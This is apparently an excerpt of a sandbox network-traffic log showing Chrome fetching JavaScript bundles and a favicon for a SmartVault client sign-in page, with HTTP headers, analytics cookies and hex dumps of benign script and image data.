2024-04-11 20:35:45 UTC	673	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 42908 Connection: close Last-Modified: Thu, 28 Mar 2024 16:26:18 GMT X-Amz-Server-Side-Encryption: AES256 X-Amz-Version-Id: GFWnIuVA8MYFkYasn738I51v9Hy6ADEw Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 11 Apr 2024 20:07:57 GMT Cache-Control: 172800 Etag: "313232d0063b1f03d5b8075325dff558" Vary: Accept-Encoding Via: 1.1 5be3f9599d5a17cae6efd973ffca7c22.cloudfront.net (CloudFront) Age: 1669 Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Cache: Hit from cloudfront X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: HrXg5v8HP8TCNhSW9TZTAMgGWbeAEll48u_cOvV27szMdsGSR-k9wQ==
2024-04-11 20:35:45 UTC	15711	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 2c 65 3d 7b 35 36 38 33 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 6e 28 39 34 34 37 29 7d 2c 32 30 38 38 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 74 2e 65 78 70 6f 72 74 73 3d 6e 28 32 36 39 29 7d 2c 34 33 34 31 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 74 2e 65 78 70 6f 72 74 73 3d 6e 28 33 36 38 35 29 7d 2c 33 32 36 33 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 6e 28 34 37 31 30 29 7d 2c 39 33 35 36 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 6e 28 33 37 39 39 29 7d 2c 35 36 31 33 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 36 34 30 30 29 3b 63 6f 6e 73 74 20 6f 3d 36 65 34 2c 69 3d 22 41 4c Data Ascii: !function(){var t,e={5683:function(t,e,n){n(9447)},2088:function(t,e,n){t.exports=n(269)},4341:function(t,e,n){t.exports=n(3685)},3263:function(t,e,n){n(4710)},9356:function(t,e,n){n(3799)},5613:function(t,e,n){"use strict";var r=n(6400);const o=6e4,i="AL
2024-04-11 20:35:45 UTC	16384	IN	Data Raw: 6e 28 33 30 35 39 29 3b 74 2e 65 78 70 6f 72 74 73 3d 72 7d 2c 38 37 30 30 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 6e 28 39 30 37 36 29 3b 76 61 72 20 72 3d 6e 28 35 37 30 33 29 3b 74 2e 65 78 70 6f 72 74 73 3d 72 28 22 41 72 72 61 79 22 29 2e 69 6e 64 65 78 4f 66 7d 2c 34 35 37 30 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 6e 28 37 30 34 36 29 2c 6f 3d 6e 28 38 37 30 30 29 2c 69 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2e 69 6e 64 65 78 4f 66 3b 72 65 74 75 72 6e 20 74 3d 3d 3d 69 7c 7c 72 28 69 2c 74 29 26 26 65 3d 3d 3d 69 2e 69 6e 64 65 78 4f 66 3f 6f 3a 65 7d 7d 2c 35 39 39 39 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c Data Ascii: n(3059);t.exports=r},8700:function(t,e,n){n(9076);var r=n(5703);t.exports=r("Array").indexOf},4570:function(t,e,n){var r=n(7046),o=n(8700),i=Array.prototype;t.exports=function(t){var e=t.indexOf;return t===i\|\|r(i,t)&&e===i.indexOf?o:e}},5999:function(t,e,
2024-04-11 20:35:45 UTC	10813	IN	Data Raw: 29 7d 2c 35 38 30 33 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 6e 28 31 38 39 39 29 2c 6f 3d 6e 28 39 36 39 37 29 2c 69 3d 72 2e 53 74 72 69 6e 67 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 22 53 79 6d 62 6f 6c 22 3d 3d 3d 6f 28 74 29 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 6f 6e 76 65 72 74 20 61 20 53 79 6d 62 6f 6c 20 76 61 6c 75 65 20 74 6f 20 61 20 73 74 72 69 6e 67 22 29 3b 72 65 74 75 72 6e 20 69 28 74 29 7d 7d 2c 39 38 32 36 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 6e 28 31 38 39 39 29 2e 53 74 72 69 6e 67 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 72 28 74 29 7d Data Ascii: )},5803:function(t,e,n){var r=n(1899),o=n(9697),i=r.String;t.exports=function(t){if("Symbol"===o(t))throw TypeError("Cannot convert a Symbol value to a string");return i(t)}},9826:function(t,e,n){var r=n(1899).String;t.exports=function(t){try{return r(t)}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
273	192.168.2.4	50157	18.164.124.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:45 UTC	611	OUT	GET /embed/button/e540f3c/preact.8ab2422822c47580185f.js HTTP/1.1 Host: smartvault.ada.support Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://smartvault.ada.support/embed/button/e540f3c/index.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:45 UTC	673	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 8984 Connection: close Date: Thu, 11 Apr 2024 17:26:42 GMT Last-Modified: Thu, 28 Mar 2024 16:26:18 GMT Etag: "51cc097b6d58a11a6aa758e72ee39e0a" X-Amz-Server-Side-Encryption: AES256 Cache-Control: 172800 X-Amz-Version-Id: .7PUxvWwbaPrcS3TWAMgcxcOhojOm7Jw Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding Via: 1.1 ad2d59fb6f7c4118dea14b5b7a9a1658.cloudfront.net (CloudFront) Age: 11344 Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Cache: Hit from cloudfront X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: JmoYV2wTD2JfIB5IGmsHpzU1-_7G1A26HI_NKzTH90gEH_AjURYv0A==
2024-04-11 20:35:45 UTC	8984	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 61 64 61 5f 73 75 70 70 6f 72 74 5f 65 6d 62 65 64 32 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 61 64 61 5f 73 75 70 70 6f 72 74 5f 65 6d 62 65 64 32 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 31 36 38 5d 2c 7b 36 34 30 30 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 74 2e 64 28 6e 2c 7b 48 59 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 76 7d 2c 56 66 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 68 7d 2c 68 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 7d 2c 73 59 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4d 7d 2c 77 41 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 79 7d 7d 29 3b Data Ascii: "use strict";(self.webpackChunk_ada_support_embed2=self.webpackChunk_ada_support_embed2\|\|[]).push([[168],{6400:function(e,n,t){t.d(n,{HY:function(){return v},Vf:function(){return h},h:function(){return a},sY:function(){return M},wA:function(){return y}});

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
274	192.168.2.4	50162	141.193.213.11	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:46 UTC	1665	OUT	GET /wp-content/uploads/2023/02/favicon.ico HTTP/1.1 Host: www.smartvault.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bfjfinancialgroup.smartvault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gcl_au=1.1.1803119041.1712867742; traffic_src={"ga_gclid":"","ga_source":"(direct)","ga_medium":"(none)","ga_campaign":"","ga_content":"","ga_keyword":"","ga_landing_page":"https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx"}; calltrk_referrer=direct; calltrk_landing=https%3A//bfjfinancialgroup.smartvault.com/secure/SignIn.aspx%3FReturnUrl%3D%252fusers%252fsecure%252fHome.aspx; calltrk_session_id=9161850b-5960-4a3c-9ab8-5bec9401f0c4; _uetsid=11497d50f84311eeb730b1d902ccd5dd; _uetvid=1149e0c0f84311eea058e3479d5cff97; _gid=GA1.2.1484758262.1712867743; _ga=GA1.1.118679924.1712867743; _ga_E1ZB2L7Z3V=GS1.1.1712867743.1.0.1712867743.60.0.0; _dc_gtm_UA-34911621-1=1; _hjSessionUser_231701=eyJpZCI6ImE1MTM3MTE5LTcwZjAtNTM0NS05N2FhLTdhZGE3YzMyMWFiOSIsImNyZWF0ZWQiOjE3MTI4Njc3NDM4NTgsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_231701=eyJpZCI6IjRhNzY1OGFkLWFjMWYtNGI2MS1hNDUxLTlkMjI3ODQ5ZDMwOSIsImMiOjE3MTI4Njc3NDM4NTksInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MX0=
2024-04-11 20:35:46 UTC	759	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:46 GMT Content-Type: image/x-icon Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Fri, 12 Jan 2024 03:34:03 GMT ETag: W/"65a0b32b-3c2e" Cache-Control: public, max-age=31536000 Access-Control-Allow-Origin: * CF-Cache-Status: HIT Age: 607620 Set-Cookie: __cf_bm=PJpzmjPGhN.V58GneuX_6dCGhQKU0fM.5_4To6u_ULw-1712867746-1.0.1.1-vVRdRRgsZPaNP5mhM9l0f_c2Prrke.LPpBr_zDReN8IPj4vENkO3WP0ktQVw_8yKRXK00jetgbbVG6mN5otYag; path=/; expires=Thu, 11-Apr-24 21:05:46 GMT; domain=.www.smartvault.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 872dc3d8a8267d18-EWR alt-svc: h3=":443"; ma=86400
2024-04-11 20:35:46 UTC	610	IN	Data Raw: 33 63 32 65 0d 0a 00 00 01 00 03 00 10 10 00 00 01 00 20 00 68 04 00 00 36 00 00 00 20 20 00 00 01 00 20 00 28 11 00 00 9e 04 00 00 30 30 00 00 01 00 20 00 68 26 00 00 c6 15 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 00 55 03 5e 00 7b 1b 5d 00 7a 58 5e 00 7b a0 5f 00 7b e6 5e 00 7b e0 5b 00 7b 38 00 00 00 01 00 00 80 02 00 00 80 02 00 00 80 02 00 00 80 02 00 00 80 02 00 00 00 00 00 00 00 00 5c 00 78 53 60 00 7c c0 5e 00 7b f3 5e 00 7a fe 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5e 00 7a 92 5d 00 7b 4d 5e 00 7a bc 5e 00 7a bc 5e 00 7a bc 5e 00 7a bc 5e 00 7b b9 5d 00 79 91 5a 00 7b 1f 5f 00 7b ef 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b Data Ascii: 3c2e h6 (00 h&( UU^{]zX^{_{^{[{8\xS`\|^{^z_{_{_{^z]{M^z^z^z^z^{]yZ{_{_{_{_{_{_{_{
2024-04-11 20:35:46 UTC	1369	IN	Data Raw: 7b ff 5f 00 7a e5 5d 00 7c 4a 5d 00 7b 70 5f 00 7a 79 5e 00 7a a3 5e 00 7a fe 5f 00 7b ff 5e 00 7a 9b 60 00 7a 45 5f 00 7a a9 5f 00 7a a9 5f 00 7b b9 5e 00 7b fb 5c 00 7a 45 5e 00 79 a6 5f 00 7b ff 5f 00 7b ff 5e 00 7b fb 5e 00 7a fe 5f 00 7b e9 59 00 77 2b 5e 00 7b d8 5f 00 7b ff 5e 00 7a 9b 5c 00 77 2f 5d 00 78 71 5d 00 78 71 5d 00 79 89 5f 00 7a f8 5c 00 7a 45 5e 00 79 a6 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b fe 5e 00 7a 8a 5e 00 7a 7d 5f 00 7b fe 5e 00 7a 9b 5d 00 7b 5d 5e 00 7a e1 5e 00 7a e1 5e 00 7b da 5e 00 7a c4 5b 00 78 35 5e 00 79 a6 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7a fc 5f 00 7b f9 5f 00 7b ff 5e 00 7a 9b 5d 00 7b 68 5f 00 7b ff 5f 00 7b ff 5e 00 7a 98 5d 00 7b 89 60 00 70 10 5e 00 79 a6 5f Data Ascii: {_z]\|J]{p_zy^z^z_{^z`zE_z_z_{^{\zE^y_{_{^{^z_{Yw+^{_{^z\w/]xq]xq]y_z\zE^y_{_{_{_{_{^z^z}_{^z]{]^z^z^{^z[x5^y_{_{_{_{_{_z_{_{^z]{h_{_{^z]{`p^y_
2024-04-11 20:35:46 UTC	1369	IN	Data Raw: 7e 5f 00 7b c7 5f 00 7b fc 5e 00 7a fe 5e 00 7b d1 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5e 00 7a e5 5e 00 7b 51 00 00 00 00 55 00 6d 15 58 00 76 1a 58 00 76 1a 58 00 76 1a 58 00 76 1a 58 00 76 1a 58 00 76 1a 58 00 76 1a 5a 00 78 11 33 00 66 05 55 00 71 09 5e 00 7a 64 5f 00 7b f7 5f 00 7b ff 5e 00 7a fc 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5e 00 7a e5 5e 00 7b 51 55 00 80 06 5e 00 7a 98 5f 00 7b bf 5f 00 7b bf 5f 00 7b bf 5f 00 7b bf 5f 00 7b bf 5f 00 7b bf 5f 00 7b be 5f 00 7a a7 60 00 79 3d 55 00 Data Ascii: ~_{_{^z^{_{_{_{_{_{_{_{_{_{_{_{_{_{_{^z^{QUmXvXvXvXvXvXvXvZx3fUq^zd_{_{^z_{_{_{_{_{_{_{_{_{_{_{_{_{_{^z^{QU^z_{_{_{_{_{_{_{_z`y=U
2024-04-11 20:35:46 UTC	1369	IN	Data Raw: 5e 00 79 54 5e 00 79 54 5e 00 79 54 5e 00 79 54 5e 00 79 54 5f 00 7a 94 5e 00 7b f1 5f 00 7b ff 5e 00 7a 88 55 00 55 03 5c 00 7a 56 5e 00 7a f6 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7a dd 5e 00 7a 7d 5f 00 7a 79 5d 00 7a 99 5f 00 7b d9 5f 00 7b ed 5e 00 7a 7f 5f 00 7c 46 5e 00 7b c5 5e 00 7b fb 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5e 00 7a e5 5e 00 7b 51 49 00 6d 07 5f 00 7a ca 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5e 00 7a 88 55 00 55 03 5c 00 7a 56 5e 00 7a f6 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5e 00 7a fe 5f 00 7b f7 5f 00 7a f8 5e 00 7a fc 5f 00 7b ff 5f 00 7b fe 5e 00 7a c6 5b 00 6d 0e 5d 00 7a 47 5e 00 7b de 5f 00 7b fe 5f 00 7b ff 5f 00 7b ff 5e 00 7a e5 5e 00 7b 51 55 00 80 06 5e 00 7a Data Ascii: ^yT^yT^yT^yT^yT_z^{_{^zUU\zV^z_{_{_{_z^z}_zy]z_{_{^z_\|F^{^{_{_{_{^z^{QIm_z_{_{_{_{_{_{_{_{^zUU\zV^z_{_{_{^z_{_z^z_{_{^z[m]zG^{_{_{_{^z^{QU^z
2024-04-11 20:35:46 UTC	1369	IN	Data Raw: 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5e 00 7a e5 5e 00 7b 51 49 00 6d 07 5f 00 7b ba 5e 00 7b e9 5e 00 7b e9 5e 00 7b e9 5e 00 7b e9 5e 00 7b e9 5e 00 7b e9 5e 00 7b e9 5e 00 7b e9 5e 00 7b e9 5f 00 7b f4 5f 00 7a fe 5f 00 7b ff 5e 00 7b f6 5f 00 7b 83 5e 00 7a 98 5f 00 7b f6 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5e 00 7a e5 5e 00 7b 51 49 00 6d 07 5f 00 7a ca 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7a fe 5f 00 7b e7 5e 00 7c 8a 62 00 76 1a 5e 00 7b 1b 5e 00 7c 6f 5e 00 7a bc 5f 00 7b e7 5e 00 7b f3 5f 00 7a fa 5f 00 7b fe 5f 00 7b ff Data Ascii: {_{_{_{_{_{^z^{QIm_{^{^{^{^{^{^{^{^{^{_{_z_{^{_{^z_{_{_{_{_{_{_{_{_{_{_{_{_{^z^{QIm_z_{_{_{_{_{_{_{_{_{_{_z_{^\|bv^{^\|o^z_{^{_z_{_{
2024-04-11 20:35:46 UTC	1369	IN	Data Raw: 7a fc 5e 00 7b de 5e 00 7a 5a 4d 00 80 0a 00 00 00 00 80 00 80 02 40 00 60 08 40 00 60 08 40 00 60 08 40 00 60 08 40 00 60 08 40 00 60 08 40 00 60 08 40 00 60 08 40 00 60 08 40 00 60 08 40 00 60 08 40 00 60 08 40 00 60 08 40 00 60 08 49 00 6d 07 66 00 66 05 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 55 00 80 06 55 00 79 15 5e 00 78 31 5e 00 79 5f 60 00 7b 95 5e 00 7a c4 5e 00 7b de 5f 00 7b ec 5e 00 7a f6 5f 00 7a fc 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5e 00 7b f1 60 00 7a 7d 5d 00 77 1e 00 00 00 01 5e 00 7b 1b 5e 00 79 4c 5e 00 7b 51 5e 00 7b 51 5e 00 7b 51 5e 00 7b 51 5e 00 7b 51 5e 00 7b 51 5e 00 7b 51 5e 00 7b 51 5e 00 7b 51 5e Data Ascii: z^{^zZM@`@`@`@`@`@`@`@`@`@`@`@`@`@`ImffUUy^x1^y_`{^z^{_{^z_z_{_{_{_{_{_{_{_{_{_{^{`z}]w^{^yL^{Q^{Q^{Q^{Q^{Q^{Q^{Q^{Q^{Q^
2024-04-11 20:35:46 UTC	1369	IN	Data Raw: 10 55 00 63 12 55 00 63 12 55 00 63 12 55 00 63 12 55 00 63 12 55 00 63 12 55 00 63 12 55 00 63 12 55 00 63 12 5a 00 69 11 60 00 70 10 6a 00 80 0c 40 00 60 08 40 00 60 08 60 00 70 10 5e 00 7b 51 5f 00 7b c1 5f 00 7b fc 5f 00 7b ff 5f 00 7b fd 5e 00 7b f9 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5e 00 7a f6 5e 00 7a a3 5e 00 7b 36 00 00 00 01 61 00 7b 1d 5e 00 7b 51 5e 00 7b 57 5e 00 7b 57 5e 00 7b 57 5e 00 7b 57 5e 00 7b 57 5e 00 7b 57 5e 00 7b 57 5e 00 7b 57 5e 00 7b 57 5e 00 7b 57 5e 00 7b 51 61 00 7b 3a 59 00 7a 17 55 00 55 03 66 00 66 05 5d 00 Data Ascii: UcUcUcUcUcUcUcUcUcZi`pj@`@``p^{Q_{_{_{_{^{_{_{_{_{_{_{_{_{_{_{_{_{_{_{_{_{_{_{_{_{_{^z^z^{6a{^{Q^{W^{W^{W^{W^{W^{W^{W^{W^{W^{W^{Qa{:YzUUff]
2024-04-11 20:35:46 UTC	1369	IN	Data Raw: 5f 00 7b e8 5e 00 7b ee 5e 00 7b f9 5f 00 7b fe 5f 00 7b ff 5f 00 7b ff 5e 00 7b bb 58 00 7b 1d 66 00 66 05 5c 00 7b 3a 5e 00 7a b6 5f 00 7a fc 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5e 00 7a fe 60 00 7b c5 5d 00 79 52 5b 00 80 0e 62 00 76 0d 5f 00 7b 7e 5f 00 7a dd 5f 00 7b fd 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5e 00 7a f6 5e 00 7a a3 5e 00 7b 36 00 00 ff 01 5b 00 79 2a 5f 00 7b 76 5e 00 7a 7f 5c 00 7a 7f 5c 00 7a 7f 5c 00 7a 7f 5c 00 7a 7f 5c 00 7a 7f 5d 00 7b 83 5e 00 7a 9d 5f 00 7b d2 5f 00 7b f4 5f 00 7b ff 5f 00 7b ff 5e 00 7b bb 58 00 7b 1d 66 00 66 05 5c 00 7b 3a 5e 00 7a b6 5f 00 7a fc 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b Data Ascii: _{^{^{_{_{_{^{X{ff\{:^z_z_{_{_{_{_{_{_{_{_{_{_{_{_{^z`{]yR[bv_{~_z_{_{_{_{^z^z^{6[y*_{v^z\z\z\z\z\z]{^z_{_{_{_{^{X{ff\{:^z_z_{_{_{_{
2024-04-11 20:35:46 UTC	1369	IN	Data Raw: 00 7b bb 58 00 7b 1d 66 00 66 05 5c 00 7b 3a 5e 00 7a b6 5f 00 7a fc 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b f4 5e 00 7b 9e 5d 00 7c 42 55 00 75 18 50 00 80 10 4e 00 76 0d 58 00 80 1a 5e 00 7a 41 5d 00 7b 4d 5d 00 7c 29 60 00 80 10 5e 00 79 54 5f 00 7b df 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5e 00 7a f6 5e 00 7a a3 5e 00 7b 36 00 00 00 00 5d 00 8b 0b 5d 00 7c 21 57 00 7c 23 57 00 7c 23 57 00 7c 23 57 00 7c 23 57 00 7c 23 57 00 7c 23 57 00 7c 23 5d 00 79 37 60 00 7a 92 5f 00 7a e1 5f 00 7b ff 5f 00 7b ff 5e 00 7b bb 58 00 7b 1d 66 00 66 05 5c 00 7b 3a 5e 00 7a b6 5f 00 7a fc 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b f4 5e 00 7b a0 5f 00 7a 43 5d 00 77 1e 62 00 78 22 5b 00 79 2a Data Ascii: {X{ff\{:^z_z_{_{_{_{_{^{]\|BUuPNvX^zA]{M]\|)`^yT_{_{_{_{_{_{_{_{^z^z^{6]]\|!W\|#W\|#W\|#W\|#W\|#W\|#W\|#]y7`z_z_{_{^{X{ff\{:^z_z_{_{_{_{_{^{_zC]wbx"[y*
2024-04-11 20:35:46 UTC	1369	IN	Data Raw: 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b e8 5f 00 79 8f 5f 00 75 23 5b 00 80 0e 5f 00 7a 66 5f 00 7b ce 5e 00 7a fe 5f 00 7b ff 5f 00 7b ff 5e 00 7a f6 5e 00 7a a3 5e 00 7b 36 80 00 80 02 5c 00 79 50 5f 00 7c e1 5e 00 7b f3 5e 00 7b f3 5e 00 7b f3 5e 00 7b f3 5e 00 7b f3 5e 00 7b f3 5e 00 7b f3 5e 00 7b f1 5e 00 7b eb 5e 00 7b e0 5e 00 7a db 5e 00 7a db 5f 00 7c a1 5c 00 7a 19 66 00 66 05 5c 00 7b 3a 5e 00 7a b6 5f 00 7a fc 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b fc 5f Data Ascii: {_{_{_{_{_{_{_{_{_{_{_{_{_{_{_{_y_u#[_zf_{^z_{_{^z^z^{6\yP_\|^{^{^{^{^{^{^{^{^{^{^z^z_\|\zff\{:^z_z_{_{_{_{_{_{_{_{_{_{_{_{_{_{_{_{_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
275	192.168.2.4	50163	141.193.213.11	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:47 UTC	1573	OUT	GET /wp-content/uploads/2023/02/favicon.ico HTTP/1.1 Host: www.smartvault.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gcl_au=1.1.1803119041.1712867742; traffic_src={"ga_gclid":"","ga_source":"(direct)","ga_medium":"(none)","ga_campaign":"","ga_content":"","ga_keyword":"","ga_landing_page":"https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx"}; calltrk_referrer=direct; calltrk_landing=https%3A//bfjfinancialgroup.smartvault.com/secure/SignIn.aspx%3FReturnUrl%3D%252fusers%252fsecure%252fHome.aspx; calltrk_session_id=9161850b-5960-4a3c-9ab8-5bec9401f0c4; _uetsid=11497d50f84311eeb730b1d902ccd5dd; _uetvid=1149e0c0f84311eea058e3479d5cff97; _gid=GA1.2.1484758262.1712867743; _ga=GA1.1.118679924.1712867743; _ga_E1ZB2L7Z3V=GS1.1.1712867743.1.0.1712867743.60.0.0; _dc_gtm_UA-34911621-1=1; _hjSessionUser_231701=eyJpZCI6ImE1MTM3MTE5LTcwZjAtNTM0NS05N2FhLTdhZGE3YzMyMWFiOSIsImNyZWF0ZWQiOjE3MTI4Njc3NDM4NTgsImV4aXN0aW5nIjpmYWxzZX0=; 